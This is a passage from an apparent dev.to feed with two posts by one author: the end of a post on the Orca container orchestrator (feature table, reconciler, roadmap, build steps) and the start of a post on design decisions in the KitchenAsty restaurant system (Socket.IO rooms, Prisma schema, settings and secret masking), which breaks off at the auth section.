&lt;td&gt;Partial&lt;/td&gt;
&lt;td&gt;Partial&lt;/td&gt;
&lt;td&gt;Full&lt;/td&gt;
&lt;td&gt;Ingress-dependent&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wasm support&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes (wasmtime)&lt;/td&gt;
&lt;td&gt;Krustlet (dead)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AI ops&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GitOps webhook&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes + infra webhook&lt;/td&gt;
&lt;td&gt;ArgoCD/Flux&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Self-update&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Docker pull&lt;/td&gt;
&lt;td&gt;&lt;code&gt;orca update&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Cluster upgrade&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lines of config per service&lt;/td&gt;
&lt;td&gt;~0 (GUI)&lt;/td&gt;
&lt;td&gt;~0 (GUI)&lt;/td&gt;
&lt;td&gt;~10 TOML&lt;/td&gt;
&lt;td&gt;~50-100 YAML&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;External dependencies&lt;/td&gt;
&lt;td&gt;Docker, DB&lt;/td&gt;
&lt;td&gt;Docker&lt;/td&gt;
&lt;td&gt;Docker only&lt;/td&gt;
&lt;td&gt;etcd, CoreDNS, ...&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Binary size&lt;/td&gt;
&lt;td&gt;Docker image&lt;/td&gt;
&lt;td&gt;Docker image&lt;/td&gt;
&lt;td&gt;47MB&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  The Smart Reconciler
&lt;/h2&gt;

&lt;p&gt;One thing that drove me crazy with other orchestrators: redeploy a stack and &lt;em&gt;everything&lt;/em&gt; restarts, even services that haven't changed.&lt;/p&gt;

&lt;p&gt;Orca's reconciler compares the &lt;strong&gt;unresolved config templates&lt;/strong&gt; (with &lt;code&gt;${secrets.X}&lt;/code&gt; intact), not the resolved values. If your OAuth token refreshed but your config didn't change, the container stays running. Only actual config changes trigger a rolling update.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;orca deploy              &lt;span class="c"&gt;# Reconcile all — skips unchanged services&lt;/span&gt;
orca deploy api          &lt;span class="c"&gt;# Reconcile just one service&lt;/span&gt;
orca redeploy api        &lt;span class="c"&gt;# Force pull image + restart (for :latest updates)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  What's Coming in v0.3
&lt;/h2&gt;

&lt;p&gt;The roadmap is driven by what we actually need in production:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Remote log streaming&lt;/strong&gt; — &lt;code&gt;orca logs &amp;lt;service&amp;gt;&lt;/code&gt; for containers on any node, piped via WebSocket&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Preview environments&lt;/strong&gt; — &lt;code&gt;orca env create pr-123&lt;/code&gt; spins up an ephemeral copy of a project&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Per-project secrets&lt;/strong&gt; — &lt;code&gt;${secrets.X}&lt;/code&gt; resolves project scope first, then global&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TUI webhook manager&lt;/strong&gt; — add/edit/delete webhooks from the terminal dashboard&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TUI backup dashboard&lt;/strong&gt; — per-node backup status, manual trigger, restore&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ARM64 builds&lt;/strong&gt; — native binaries for Raspberry Pi / Graviton&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Log forwarding&lt;/strong&gt; — ship container logs to Loki, SigNoz, or any OpenTelemetry collector&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Nixpacks integration&lt;/strong&gt; — auto-detect and build without Dockerfiles&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Architecture for the Curious
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────┐
│         CLI / TUI / API             │
└──────────────┬──────────────────────┘
               │
┌──────────────▼──────────────────────┐
│         Control Plane               │
│  Raft consensus (openraft + redb)   │
│  Scheduler (bin-packing + GPU)      │
│  API server (axum)                  │
│  Health checker + AI monitor        │
└──────────────┬──────────────────────┘
               │ WebSocket
    ┌──────────┼──────────┐
    ▼          ▼          ▼
┌────────┐ ┌────────┐ ┌────────┐
│ Node 1 │ │ Node 2 │ │ Node 3 │
│ Docker │ │ Docker │ │ Docker │
│ Wasm   │ │ Wasm   │ │ Wasm   │
│ Proxy  │ │ Proxy  │ │ Proxy  │
└────────┘ └────────┘ └────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;8 Rust crates, ~15k lines, 120+ tests. Every source file under 250 lines. The dependency flow is strict: &lt;code&gt;core&lt;/code&gt; &amp;lt;- &lt;code&gt;agent&lt;/code&gt; &amp;lt;- &lt;code&gt;control&lt;/code&gt; &amp;lt;- &lt;code&gt;cli&lt;/code&gt;. No circular deps, no god modules.&lt;/p&gt;

&lt;h2&gt;
  
  
  Want to Contribute?
&lt;/h2&gt;

&lt;p&gt;Orca is open source (AGPL-3.0) and actively looking for contributors. The codebase is designed to be approachable:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Small files&lt;/strong&gt; — 250 line max, split into clear submodules&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Comprehensive tests&lt;/strong&gt; — 120+ unit and integration tests&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Architecture guide&lt;/strong&gt; — &lt;a href="https://github.com/mighty840/orca/blob/main/CLAUDE.md" rel="noopener noreferrer"&gt;CLAUDE.md&lt;/a&gt; documents every crate, convention, and design decision&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Real issues&lt;/strong&gt; — every open issue comes from production usage, not hypotheticals&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Good first issues:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;ARM64 CI build&lt;/strong&gt; — add a GitHub Actions matrix for aarch64&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TUI log viewer&lt;/strong&gt; — stream container logs in a ratatui pane&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Backup &lt;code&gt;--exclude&lt;/code&gt;&lt;/strong&gt; — skip specific volumes from nightly backup&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Service templates&lt;/strong&gt; — WordPress, Supabase, n8n one-click configs
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/mighty840/orca.git
&lt;span class="nb"&gt;cd &lt;/span&gt;orca
cargo &lt;span class="nb"&gt;test&lt;/span&gt;        &lt;span class="c"&gt;# 120+ tests&lt;/span&gt;
cargo build       &lt;span class="c"&gt;# single binary&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Links
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/mighty840/orca" rel="noopener noreferrer"&gt;github.com/mighty840/orca&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Docs:&lt;/strong&gt; &lt;a href="https://mighty840.github.io/orca" rel="noopener noreferrer"&gt;mighty840.github.io/orca&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;crates.io:&lt;/strong&gt; &lt;a href="https://crates.io/crates/mallorca" rel="noopener noreferrer"&gt;crates.io/crates/mallorca&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Changelog:&lt;/strong&gt; &lt;a href="https://github.com/mighty840/orca/blob/main/CHANGELOG.md" rel="noopener noreferrer"&gt;CHANGELOG.md&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Orca is built by developers running real production workloads on it — trading bots, compliance platforms, YouTube automation, AI gateways. Every feature exists because we needed it, every bug fix comes from a real 3 AM incident. If you're stuck between Coolify and Kubernetes, give it a shot.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Star the repo if this resonates. Open an issue if something's broken. PRs welcome.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>rust</category>
      <category>devops</category>
      <category>containers</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Design decisions behind KitchenAsty — an open-source restaurant management system</title>
      <dc:creator>Sharang Parnerkar</dc:creator>
      <pubDate>Wed, 25 Feb 2026 10:24:55 +0000</pubDate>
      <link>https://dev.to/mighty840/design-decisions-behind-kitchenasty-an-open-source-restaurant-management-system-650</link>
      <guid>https://dev.to/mighty840/design-decisions-behind-kitchenasty-an-open-source-restaurant-management-system-650</guid>
      <description>&lt;p&gt;In my &lt;a href="https://dev.to/mighty840/i-built-an-open-source-alternative-to-toast-and-square-for-restaurant-management-3mdf"&gt;previous post&lt;/a&gt;, I introduced KitchenAsty — an open-source, self-hosted restaurant ordering and management platform. People asked about the architecture, so this post dives into the core design decisions: how the real-time system works, how the database handles guest orders and price changes, how settings resolve from multiple sources, and how a data-driven automation pipeline lets restaurant owners set up custom workflows without writing code.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Real-Time Architecture: Rooms, Not Broadcasts
&lt;/h2&gt;

&lt;p&gt;A restaurant system has two audiences that need live updates simultaneously: kitchen staff watching for incoming orders, and customers tracking their delivery. Broadcasting everything to everyone would be wasteful and insecure.&lt;/p&gt;

&lt;p&gt;Socket.IO's room abstraction solves this cleanly. There are two room types:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;kitchen&lt;/code&gt;&lt;/strong&gt; — a single shared room. Every kitchen display client joins it. When a new order arrives or any order changes status, the event goes here.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;order:{orderId}&lt;/code&gt;&lt;/strong&gt; — one room per active order. The customer's browser or mobile app joins their specific order room. They only receive updates about their order.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Client joins on mount&lt;/span&gt;
&lt;span class="nx"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;join:kitchen&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;     &lt;span class="c1"&gt;// kitchen display&lt;/span&gt;
&lt;span class="nx"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;join:order&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// customer order tracking&lt;/span&gt;

&lt;span class="c1"&gt;// Server emits to both rooms on status change&lt;/span&gt;
&lt;span class="nx"&gt;io&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;kitchen&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;order:statusUpdate&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;order&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;io&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`order:&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;order&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;order:statusUpdate&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;order&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This means 50 customers tracking 50 orders generate 50 targeted messages, not 50 broadcasts. The kitchen display gets every update because it's in the shared room.&lt;/p&gt;

&lt;p&gt;On the kitchen display itself, updates are applied optimistically — the UI updates immediately on button click, and the Socket.IO event from the server reconciles in the background. If the status moves the order off the Kanban board (e.g., "delivered"), the socket handler removes it from local state:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;order:statusUpdate&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;setOrders&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;prev&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;KITCHEN_STATUSES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;prev&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="c1"&gt;// gone from board&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;prev&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  2. Database: Snapshots, Not References
&lt;/h2&gt;

&lt;p&gt;The most important database design decision was this: &lt;strong&gt;order items store a snapshot of the menu data at the time of purchase, not just a foreign key.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;model OrderItem {
  menuItemId String
  menuItem   MenuItem @relation(...)
  name       String      // "Margherita Pizza" — frozen at order time
  unitPrice  Float       // 12.99 — frozen at order time
  subtotal   Float
}

model OrderItemOption {
  name          String   // "Extra Cheese" — frozen
  value         String   // "Yes" — frozen
  priceModifier Float    // 2.50 — frozen
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The foreign key to &lt;code&gt;MenuItem&lt;/code&gt; is still there for analytics (which menu items generate the most revenue), but the &lt;code&gt;name&lt;/code&gt;, &lt;code&gt;unitPrice&lt;/code&gt;, and &lt;code&gt;priceModifier&lt;/code&gt; fields are what the order actually uses. If the restaurant changes the price of a pizza next week, existing order records aren't affected.&lt;/p&gt;

&lt;p&gt;This matters more than you'd think. Restaurants update prices frequently — seasonal menus, promotions, cost adjustments. Without snapshots, your revenue reports lie and customer receipts change retroactively.&lt;/p&gt;

&lt;h3&gt;
  
  
  Guest checkout with optional customer
&lt;/h3&gt;

&lt;p&gt;Orders support both registered customers and guests through an optional relationship:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;model Order {
  customerId String?     // null for guest orders
  customer   Customer?
  guestName  String?     // fallback fields for guests
  guestEmail String?
  guestPhone String?
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The auth middleware on the order creation endpoint uses &lt;code&gt;optionalAuth&lt;/code&gt; — it attaches the user if a token is present but doesn't block the request otherwise. The controller checks: if there's a logged-in customer, link the order; if not, store the guest fields.&lt;/p&gt;

&lt;h3&gt;
  
  
  Self-referential categories
&lt;/h3&gt;

&lt;p&gt;Menus need nested categories (e.g., "Drinks" &amp;gt; "Hot Drinks" &amp;gt; "Coffees"). Rather than a flat list with a separate hierarchy table, the schema uses a self-referential adjacency list:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;model Category {
  parentId String?
  parent   Category?  @relation("CategoryTree", fields: [parentId], references: [id])
  children Category[] @relation("CategoryTree")
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One query with &lt;code&gt;include: { children: true }&lt;/code&gt; gives you the full tree. Simple to query, simple to render, and Prisma's type system ensures you can't accidentally create orphans.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Settings: DB-First with Env Var Fallback
&lt;/h2&gt;

&lt;p&gt;Restaurant owners configure their system through the admin panel (stored in the database). Developers configure it through environment variables during deployment. Both need to work, and the admin panel should win when both are set.&lt;/p&gt;

&lt;p&gt;The pattern looks like this for email configuration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;getMailConfig&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Start with env var defaults&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SMTP_HOST&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;localhost&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SMTP_PORT&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;1025&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// DB settings override env vars&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;settings&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;prisma&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;siteSettings&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findUnique&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="na"&gt;where&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;default&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;mail&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;settings&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;mailSettings&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="p"&gt;{};&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;mail&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;smtpHost&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;mail&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;smtpHost&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;mail&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;smtpPort&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;mail&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;smtpPort&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// DB unavailable — env vars are the fallback&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The entire site configuration lives in a single database row — &lt;code&gt;SiteSettings&lt;/code&gt; with &lt;code&gt;id: 'default'&lt;/code&gt;. JSON columns hold grouped settings (general, orders, mail, payments, reservations, reviews, advanced). This avoids a key-value settings table and keeps related settings together.&lt;/p&gt;

&lt;p&gt;Two details that took some thought:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Caching&lt;/strong&gt; — The mail transporter is cached for 5 minutes to avoid a database round-trip on every email. When settings are updated through the admin API, &lt;code&gt;invalidateMailCache()&lt;/code&gt; forces a rebuild on the next send.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Secret masking&lt;/strong&gt; — API keys and passwords are masked in API responses (&lt;code&gt;sk_l...4x8f&lt;/code&gt;). When the admin submits the settings form, if a field still looks masked, the server preserves the existing database value instead of overwriting it with the mask string:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;preserveIfMasked&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;newVal&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;existingVal&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;isMasked&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;newVal&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;existingVal&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;newVal&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This means the frontend never holds real secrets in memory — it only ever sees masked values.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Auth: Composable Middleware, Two User Types
&lt;/h2&gt;

&lt;p&gt;Staff and customers share the same JWT structure but are treated as distinct principals:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
